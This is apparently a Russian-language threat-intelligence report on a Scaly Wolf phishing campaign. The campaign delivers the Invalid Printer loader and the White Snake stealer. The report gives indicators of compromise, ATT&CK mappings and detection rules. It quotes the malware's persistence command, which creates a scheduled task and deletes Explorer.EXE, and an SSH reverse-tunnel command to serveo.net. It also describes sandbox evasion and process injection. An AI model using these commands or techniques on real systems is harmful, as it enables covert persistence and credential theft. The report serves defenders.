Новый загрузчик Scaly Wolf оказался непригодным для атак
- Методы рассматриваемого кластера активности продолжают эволюционировать: в его арсенал добавляются новые инструменты.
- Использование архивов, защищенных паролем, позволяет злоумышленникам обходить средства защиты и успешно доставлять ВПО.
- Рассылки фишинговых писем от имени различных ведомств значительно повышают вероятность взаимодействия жертвы с вредоносными вложениями.
В рамках данной кампании злоумышленники рассылали фишинговые электронные письма от имени федерального ведомства. К письму был прикреплен легитимный документ, который должен усыпить бдительность пользователя и мотивировать его на открытие второго прикрепленного файла — архива, защищенного паролем.
Архив содержал следующие файлы:
Пароль 120917.txt
— файл без содержимого, в названии которого указан пароль к архиву.Права и обязанности и процедура ст. 164, 170, 183 УПК РФ.rtf
— еще один легитимный документ, используемый для отвлечения пользователя.Матералы к запросу, обязательно к ознакомлению и предоставлению информации-.exe
— исполняемый файл, содержащий вредоносную нагрузку.
Исполняемый файл представлял собой загрузчик in2al5d p3in4er
(Invalid Printer) и осуществлял проверку на нахождение в виртуальной среде, а в случае ее успешного прохождения внедрял вредоносную нагрузку в адресное пространство процесса explorer.exe
.
Проверка осуществлялась с использованием библиотеки dxgi.dll
, которая позволяла получить идентификаторы производителей графических карт, используемых системой. Если они не соответствовали Nvidia, AMD или Intel, вредоносный файл прекращал выполнение.
Особенностью рассматриваемого загрузчика является то, что он не использует WinAPI
‑вызовы для обращения к ядру Windows. Вместо этого ядерные функции вызываются напрямую с помощью прыжков на инструкцию syscall
с требуемыми аргументами.
Аргументы для ядерных вызовов направляются через следующие регистры: R10
, RDX
, R8
, R9
. В регистр RAX
кладется номер вызываемого системного вызова. В данном случае номер 0×0036
соответствует системному вызову NtQuerySystemInformation
.
Также стоит отметить, что загрузчик во время выполнения пытается открыть множество случайных несуществующих в системе файлов и записать в них случайные данные. На ход выполнения данные действия не влияют, но подобное поведение может помочь обнаружить вредоносную активность в системе.
Для определения процесса explorer.exe
загрузчик перебирает структуры запущенных процессов и сравнивает контрольную сумму от имени процесса с сохраненным значением. После обнаружения нужного процесса выделяет в нем регион памяти с правами на выполнение и копирует в него расшифрованную вредоносную нагрузку, после чего изменяет контекст процесса для выполнения внедренного шелл-кода.
Полезная нагрузка представляет собой шелл-код, полученный с помощью утилиты с открытым исходным кодом Donut, позволяющей выполнять в памяти исполняемые файлы (в том числе .NET
), а также имеющей дополнительные возможности, например компрессии и шифрования вредоносной нагрузки.
Вредоносной нагрузкой, которую выполняет данный загрузчик, в данном случае являлся стилер White Snake версии 1.6.1.9. Стоит отметить, что это последняя версия стилера, опубликованная в конце марта 2024 года. Кроме того, в ней отсутствует проверка того, что жертва находится в России или СНГ.
В августе 2023 года в официальном канале White Snake был опубликован связанный с нашим исследованием пост, в котором говорилось, что один из покупателей модифицировал ВПО и удалил модуль, запрещающий выполнение в регионе.
Мы предполагаем, что подобным заявлением разработчики лишь хотели избежать блокировки на популярных теневых ресурсах.
При запуске White Snake осуществляется реализация следующих действий:
- Создание и проверка мьютекса, указанного в конфигурации.
- При наличии соответствующей опции — реализация проверок на нахождение в виртуальной среде с помощью получения модели, производителя устройства и сравнения с имеющимися в программе строками.
Модель и производитель устройства получаются с помощью выполнения следующих WMI‑запросов:SELECT * FROM Win32_ComputerSystem — Model
SELECT * FROM Win32_ComputerSystem — Manufacturer - При наличии соответствующей опции — перемещение текущего исполняемого файла в каталог согласно конфигурации (в данном случае
C:\Users\[user]\AppData\Local\RobloxSecurity
) и выполнение команды, которая добавляет задачу в планировщик, после чего прекращает выполнение и запускается из нового расположения:"C:\Windows\System32\cmd.exe" /C chcp 65001 &&
timeout /t 3 > NUL &&
schtasks /create /tn "Explorer" /sc MINUTE /tr "C:\Users\[user]\AppData\Local\RobloxSecurity\Explorer.EXE" /rl HIGHEST /f &&
DEL /F /S /Q /A "C:\Windows\Explorer.EXE" &&
START "" "C:\Users\[user]\AppData\Local\RobloxSecurity\Explorer.EXE"
Интересно, что в данном случае будет скопирован легитимный explorer.exe
, без внедренного шелл-кода.
Также White Snake может использовать сервис serveo[.]net
. При использовании данной опции осуществляется загрузка OpenSSH по ссылке с репозитория GitHub (https://github.com/PowerShell/Win32-OpenSSH/releases/download/v9.2.2.0p1-Beta/OpenSSH-Win32.zip
) и его запуск с помощью следующей команды:
ssh -o "StrictHostKeyChecking=no" -R [порт для подключения]:[локальный адрес]:[локальный порт] serveo.net
Также в последних версиях были изменены ресурсы для передачи собранных стилером данных:
http://185.119.118[.]59:8080
http://212.6.44[.]53:8080
http://149.88.44[.]159:80
http://206.189.109[.]146:80
https://164.90.185[.]9:443
http://193.142.58[.]127:80
http://185.217.98[.]121:80
http://185.217.98[.]121:8080
http://116.202.101[.]219:8080
https://185.217.98[.]121:443
https://64.227.21[.]98:443
http://144.126.132[.]141:8080
http://107.161.20[.]142:8080
https://192.99.196[.]191:443
http://216.250.190[.]139:80
https://44.228.161[.]50:443
http://66.42.56[.]128:80
http://154.26.128[.]6:80
http://18.228.80[.]130:80
http://23.248.176[.]37:180
http://45.61.136[.]13:80
http://104.248.208[.]221:80
http://23.224.102[.]6:8001
http://45.61.136[.]52:80
http://129.151.109[.]160:8080
https://13.231.21[.]109:443
https://18.178.28[.]151:443
93948C7FB89059E1F63AF04FEEF0A0834B65B18FFAF6610B419ADBC0E271E23D
CBABD91FB0C1C83867F71E8DF19C131AC6FB3B3F3F74765BC24924CB9D51AD41
10330FCC378DB73346501B2A26D2C749F51CACD962B54C62AA017DD9C1ED77C3
Тактика | Техника | Процедура |
---|---|---|
Initial Access |
Phishing: Spearphishing Attachment |
Scaly Wolf использует вложения в фишинговые электронные письма |
Execution |
User Execution: Malicious File |
Жертве необходимо открыть вредоносный файл, чтобы инициировать процесс компрометации |
Command and Scripting Interpreter: Windows Command Shell |
Scaly Wolf использует командную строку Windows для выполнения команд и сценариев |
|
Windows Management Instrumentation |
Scaly Wolf использует WMI для выполнения команд |
|
Persistence |
Scheduled Task/Job: Scheduled Task |
Scaly Wolf использует планировщик заданий для закрепления в скомпрометированной системе |
Defense Evasion |
Masquerading: Masquerade File Type |
Scaly Wolf маскирует исполняемые файлы под легитимные документы |
Process Injection: Thread Execution Hijacking |
Scaly Wolf использует Thread Execution Hijacking для внедрения вредоносного кода в легитимный процесс |
|
Virtualization/Sandbox Evasion: System Checks |
Scaly Wolf осуществляет проверки нахождения в виртуальной среде |
|
Credential Access |
Credentials from Password Stores: Credentials from Web Browsers |
Scaly Wolf получает данные из браузеров |
Credentials from Password Stores: Windows Credential Manager |
Scaly Wolf получает данные из внутреннего хранилища паролей Windows |
|
Unsecured Credentials: Credentials in Files |
Scaly Wolf получает данные из файлов |
|
Unsecured Credentials: Credentials in Registry |
Scaly Wolf получает данные из реестра |
|
Command and Control |
Application Layer Protocol: Web Protocols |
Scaly Wolf использует HTTP/HTTPS для передачи данных |
Protocol Tunneling |
Scaly Wolf использует SSH‑туннели |
|
Exfiltration |
Exfiltration over C2 Channel |
Scaly Wolf передает собранные данные на командный сервер |
Больше индикаторов компрометации и детальное описание тактик, техник и процедур доступно на платформе BI.ZONE Threat Intelligence.
Рассматриваемая вредоносная активность обнаруживается следующими правилами BI.ZONE EDR:
win_suspicious_code_injection_to_system_process
win_process_like_system_process_detected
win_creation_task_that_run_file_from_suspicious_folder
win_using_popular_utilities_for_port_forwarding
win_possible_browser_stealer_activity
win_access_to_windows_password_storage
win_dump_sensitive_registry_hives_locally
win_credentials_registry_hive_file_creation
win_query_stored_credentials_from_registry
Также мы рекомендуем отслеживать подозрительную активность, связанную:
- с запуском исполняемых файлов с длинными именами, похожими на названия документов;
- множественным открытием файлов, в том числе несуществующих;
- запуском подозрительных WMI‑команд;
- созданием запланированных задач с нетипичными исполняемыми файлами и системными файлами в нестандартных директориях;
- загрузкой OpenSSH с GitHub;
- сетевыми коммуникациями с
serveo[.]net
; - чтением файлов в папках браузеров, содержащих учетные данные;
- чтением разделов реестра, содержащих чувствительные данные.
Кластер Scaly Wolf в своих атаках использует методы закрепления на конечных точках, которые трудно обнаружить превентивными средствами защиты. Поэтому мы рекомендуем внедрять на конечных точках практики выявления киберугроз и реагирования на них, например, с помощью решения BI.ZONE EDR.
Чтобы быть на шаг впереди злоумышленников, важно понимать, как они адаптируют методы под конкретные инфраструктуры, и учитывать ландшафт киберугроз. Для этого мы рекомендуем использовать данные платформы BI.ZONE Threat Intelligence. Она предоставляет информацию об актуальных атаках, злоумышленниках, их техниках и инструментах. Эти данные помогают обеспечить эффективную работу средств защиты информации, ускорить реагирование на инциденты и защититься от наиболее критических для компании угроз.